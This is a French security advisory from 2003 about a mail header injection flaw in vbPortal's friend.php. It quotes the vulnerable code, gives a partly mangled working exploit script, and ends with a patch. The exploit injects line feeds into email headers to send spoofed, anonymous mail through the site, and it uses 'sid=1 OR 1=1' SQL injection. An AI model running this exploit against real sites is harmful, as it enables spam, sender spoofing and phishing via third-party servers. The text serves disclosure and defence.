vbPortal ******** Informations : °°°°°°°°°°°°°° Langage : PHP Version : 2.0 alpha 8.1 Website : http://www.vbportal.com Problème : Envoi de mails anonymes Developpement : °°°°°°°°°°°°°°° vbPortal est un portail dont le code est plus ou moins basé sur PHP-Nuke, mais qui est fait pour s'ajouter au forum vBulletin et d'une certaine manière le compléter (en faire un CMS complet). Le problème est qu'on peut depuis n'importe quel vbPortal envoyer un mail anonyme, et choisir le destinataire, l'expediteur, le type du message, les fichiers attachés, le message,... Seul défaut, on ne pourra pas supprimer le titre du message donné par défaut par vbPortal, mais on pourra y ajouter ce que l'on veut. Chaque vbPortal se transforme donc en un proxy SMTP. La faille se trouve dans le fichier friend.php : ----------------------------------------------------------------------------------------------------------------------------- [...] function SendStory($sid, $yname, $ymail, $fname, $fmail) { global $sitename, $nukeurl, $prefix; $result2=mysql_query("select title, time, topic from $prefix"._stories." where sid=$sid"); list($title, $time, $topic) = mysql_fetch_row($result2); $result3=mysql_query("select topictext from $prefix"._topics." where topicid=$topic"); list($topictext) = mysql_fetch_row($result3); $subject = ""._INTERESTING." $sitename"; $message = ""._HELLO." $fname:\n\n"._YOURFRIEND." $yname "._CONSIDERED."\n\n\n$title\n("._FDATE." $time)\n"._FTOPIC." $topictext\n\n"._URL.": $nukeurl/article.php?sid=$sid\n\n"._YOUCANREAD." $sitename\n$nukeurl"; mail($fmail, $subject, $message, "From: \"$yname\" <$ymail>\nX-Mailer: PHP/" . phpversion()); $title = urlencode($title); $fname = urlencode($fname); Header("Location: friend.php?op=StorySent&title=$title&fname=$fname"); } [...] function SendSite($yname, $ymail, $fname, $fmail) { global $sitename, $slogan, $nukeurl; $subject = ""._INTSITE." $sitename"; $message = ""._HELLO." $fname:\n\n"._YOURFRIEND." $yname "._OURSITE." $sitename "._INTSENT."\n\n\n"._FSITENAME." $sitename\n$slogan\n"._FSITEURL." $nukeurl\n"; mail($fmail, $subject, $message, "From: \"$yname\" <$ymail>\nX-Mailer: PHP/" . phpversion()); Header("Location: friend.php?op=SiteSent&fname=$fname"); } [...] switch($op) { case "SendStory": SendStory($sid, $yname, $ymail, $fname, $fmail); break; [...] case "SendSite": SendSite($yname, $ymail, $fname, $fmail); break; [...] } ?> ----------------------------------------------------------------------------------------------------------------------------- Les deux fonction SendStory() et SendSite() envoient des emails. Deux variables ($yname et $ymail) modifiables se trouvent dans les headers. On peut donc y injecter ce qu'on veut, grâce au caractère LF (line feed), %0A en ASCII. Je ne vais pas détailler ici toute l'utilisation de cette faille, un texte sur ce sujet est en attente de publication et sera sur le net d'ici 1 à 2 mois. Avec cette faille on peut envoyer un message anonyme avec l'ip du site buggé comprenant fichier attaché, type du contenu,... et permettant de changer le message, le destinataire, d'ajouter un sujet,... Voici un exemple d'application simple pour cette faille, qui change le mail via les variables $ymail et $fname. On peut ici choisir l'expediteur, le nom de l'expediteur, le destinataire, le type du message, le message et ajouter un sujet tout en ayant le choix entre les deux fonctions buggées : -----------------------------------------------------------------------------------------------------------------------------
URL :
From :
Your Name :
To :
Content Type :
Subject To Add :
Op. :
SendSite
SendStory
Message :



"; echo "From: ".$from."
"; echo "Your Name: ".$yname."
"; echo "To: ".$fmail."
"; echo "Content Type: ".$contenttype."
"; echo "Added Subject: ".$newsubject."
"; echo "Message :

".str_replace("\n","
",$message); if ($op=="SendStory"){ $sid="1%20OR%201=1"; } $ymail=$from.">%0A"; $ymail.="Subject:".$newsubject."%0A"; $ymail.="Content-Type:multipart/mixed;%20boundary=Anonymous;"; $ymail.="%0A%0A%0A"; $fname="%0A--Anonymous%0A"; $fname.="Content-Type:".$contenttype."%0A%0A"; $fname.=str_replace("\n","%0A",$message); $fname.="%0A%0A%0A"; $fname.="--Anonymous--"; $fname.="%0A%0A%0A"; $url.="/friend.php?sid=".$sid."&op=".$op."&yname=".$yname."&ymail=".$ymail."&fmail=".$fmail."&fname=".$fname; echo "

Ok, Mail It"; } ?> ----------------------------------------------------------------------------------------------------------------------------- Rappelons que l'utilisateur choisis dans la requête dans cet exploit (le premier enregistré) recevra lui aussi une copie du mail, car un destinataire a déjà été définit. Le nôtre viendra s'ajouter après. Solution : °°°°°°°°°° Un patch est disponible sur http://www.phpsecure.info, et la version 3.0b a été corrigée. Il suffit, pour la version 2.0 alpha 8.1, d'ajouter dans friend.php, juste avant la ligne : ------------- switch($op) { ------------- les lignes : ------------------------------------------------------------------------------------------ if (eregi("\n",$yname) OR eregi("\n",$ymail) OR eregi("\r",$yname) OR eregi("\r",$ymail)){ die("Patched"); } ------------------------------------------------------------------------------------------ Credits : °°°°°°°°° Auteur : frog-m@n E-mail : leseulfrog@hotmail.com Website : http://www.phpsecure.info Date : 19/11/2003